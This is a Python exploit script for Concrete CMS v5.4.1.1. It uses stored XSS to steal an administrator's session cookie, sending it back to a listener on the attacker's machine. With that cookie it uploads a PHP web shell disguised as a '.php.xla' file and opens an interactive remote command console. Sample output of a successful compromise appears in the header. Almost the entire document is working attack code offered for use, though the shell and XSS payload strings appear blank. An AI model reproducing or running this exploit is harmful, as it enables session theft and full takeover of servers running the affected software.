#!/usr/bin/python # Concrete CMS v5.4.1.1 xss/remote code execution exploit # Download: http://www.concrete5.org/ # Special Zeitgeist pre release - "Moving Forward" - 15th Jan 2011 # "They must find it difficult, those who take authority as the truth instead of truth as the authority" # http://www.zeitgeistmovie.com/ # PoC usage: # [mr_me@pluto concrete5]$ python ./1.py -t 192.168.1.15 -d /webapps/concrete5/ -p 8081 -s suntzu -i wlan0 # # | --------------------------------------------------- | # | Concrete CMS v5.4.1.1 Remote Code Execution Exploit | # | by mr_me - net-ninja.net -------------------------- | # # (+) Created XSS in index.html, send the XSS to the admin # (+) Listening on port 8081 for our target # (+) Recieved a connection from 192.168.1.2 # (+) Confirmed target @ http://192.168.1.15/webapps/concrete5/index.php/dashboard/scrapbook/ # (+) Got the cookie tqarj8poclha1oso9e9haa9f66, checking if we have admin access.. # (+) Admin access is confirmed # (+) Determining the upload nounce # (+) Got the file upload nounce, uploading 'suntzu' shell.. # (+) Shell uploaded! Now looking for it # (!) Shell found at http://192.168.1.15/webapps/concrete5/files/7412/9465/6675/suntzu.php.xla # (+) Entering interactive remote console (q for quit) # # mr_me@192.168.1.15# id # uid=33(www-data) gid=33(www-data) groups=33(www-data) # # mr_me@192.168.1.15# uname -a # Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux # # mr_me@192.168.1.15# q import socket, sys, urllib2, re, struct, fcntl, getpass, base64 from optparse import OptionParser usage = "./%prog -t [target] -d [path] -p [port] -s [shell name] -i [interface]" usage += "\nExample: ./%prog -t 192.168.1.17 -d /webapps/concrete5/ -p 8080 -s suntzu -i wlan0" parser = OptionParser(usage=usage) parser.add_option("-t", type="string", action="store", dest="target", help="Target server as IP or host") parser.add_option("-d", type="string", action="store", dest="path", help="Directory path of Concrete CMS of your target") parser.add_option("-p", type="string",action="store", dest="port", help="Server port to listen on") parser.add_option("-s", type="string", action="store", dest="shellName", help="shell name to write on the target server") parser.add_option("-i", type="string", action="store", dest="ifce", help="External network interface, must be routable.") (options, args) = parser.parse_args() def banner(): print "\n\t| --------------------------------------------------- |" print "\t| Concrete CMS v5.4.1.1 Remote Code Execution Exploit |" print "\t| by mr_me - net-ninja.net -------------------------- |\n" if len(sys.argv) < 10: banner() parser.print_help() sys.exit(1) # set the php code injection (just an example here) phpShell = "" myCmd = "?cmd=" def get_ip_address(ifname): ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return socket.inet_ntoa(fcntl.ioctl(ls.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("", int(options.port))) s.listen(1) def sendPostRequest(req): su = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # change the port to another, if they are running the CMS off another port (443?) try: su.connect((options.target,80)) except: print "(-) Failed making the connection to target %s" % options.target su.send(req) data = su.recv(1024) su.close() return data def generateShellUpload(cookie, ccm_token): postRequest = ("POST %sindex.php/tools/required/files/importers/single HTTP/1.1\r\n" "Host: %s\r\n" "Cookie: CONCRETE5=%s;\r\n" "Content-Type: multipart/form-data; boundary=---------------------------lulz\r\n" "Content-Length: 313\r\n\n" "-----------------------------lulz\n" "Content-Disposition: form-data; name=\"Filedata\"; filename=\"%s.php.xla\"\r\n\n" "%s\n" "-----------------------------lulz\n" "Content-Disposition: form-data; name=\"ccm_token\"\r\n\n" "%s\n" "-----------------------------lulz--\r\n\r\n" % (options.path, options.target, cookie, options.shellName, phpShell, ccm_token)) return postRequest def xssTheAdmin(): print "(+) Created XSS in index.html, send the XSS to the admin" print "(+) Listening on port %s for our target" % (options.port) xssJunk = ("" "" "" % (options.target, options.path, get_ip_address(options.ifce),options.port)) try: xssFile = open('index.html','w') xssFile.write(xssJunk) xssFile.close() except: print "(-) Error writing file.." sys.exit(1) def sendPayloads(uri, magicCookie): try: req = urllib2.Request(uri) req.add_header('Cookie', 'CONCRETE5='+magicCookie) check = urllib2.urlopen(req).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check def interactiveAttack(ws): print "(+) Entering interactive remote console (q for quit)\n" hn = "%s@%s# " % (getpass.getuser(), options.target) cmd = "" while cmd != 'q': cmd = raw_input(hn) cmd64 = base64.b64encode(cmd) cmdResponse = sendPayloads(ws+myCmd+cmd64,"lolnoauth") print cmdResponse def startShellAttack(): conn, addr = s.accept() print "(+) Recieved a connection from %s" % addr[0] while 1: data = conn.recv(1024) cookie = re.search('CONCRETE5=(.*)', data) cookie = cookie.group(1)[:26] target = data.split("Referer: ")[1].rstrip() confirmTarget = "http://"+options.target+options.path+"index.php/dashboard/scrapbook/".rstrip() target = target[:len(confirmTarget)] if target == confirmTarget: print "(+) Confirmed target @ %s" % (target) else: print "(-) Error, mismatch of targets." sys.exit(1) print "(+) Got the cookie %s, checking if we have admin access.." % (cookie) adminCheck = sendPayloads(target, cookie) if re.search('delete this scrapbook', adminCheck): print "(+) Admin access is confirmed" else: print "(-) This is not an admin cookie. Exiting.." sys.exit(1) print "(+) Determining the upload nounce" nounceRequest = "http://"+options.target+options.path+"index.php/dashboard/files/search/" nounceResponse = sendPayloads(nounceRequest, cookie) ccm_token = nounceResponse.split("")[0] print ("(+) Got the file upload nounce, uploading '%s' shell.." % (options.shellName)) uploadReq = generateShellUpload(cookie, ccm_token) findShell = sendPostRequest(uploadReq) print "(+) Shell uploaded! Now looking for it" magicNum = re.search('(?<=push\()\w+', findShell) shellSearchReq = ("http://%s%sindex.php/tools/required/files/properties?fID=%s" % (options.target, options.path, magicNum.group(0))) shellSearch = sendPayloads(shellSearchReq, cookie) shellLoc = shellSearch.split("URL to File")[1].split("")[0].split("=\"2\">")[1] print ("(!) Shell found at %s" % (shellLoc)) break conn.close() return shellLoc if __name__ == "__main__": banner() xssTheAdmin() webShell = startShellAttack() interactiveAttack(webShell)

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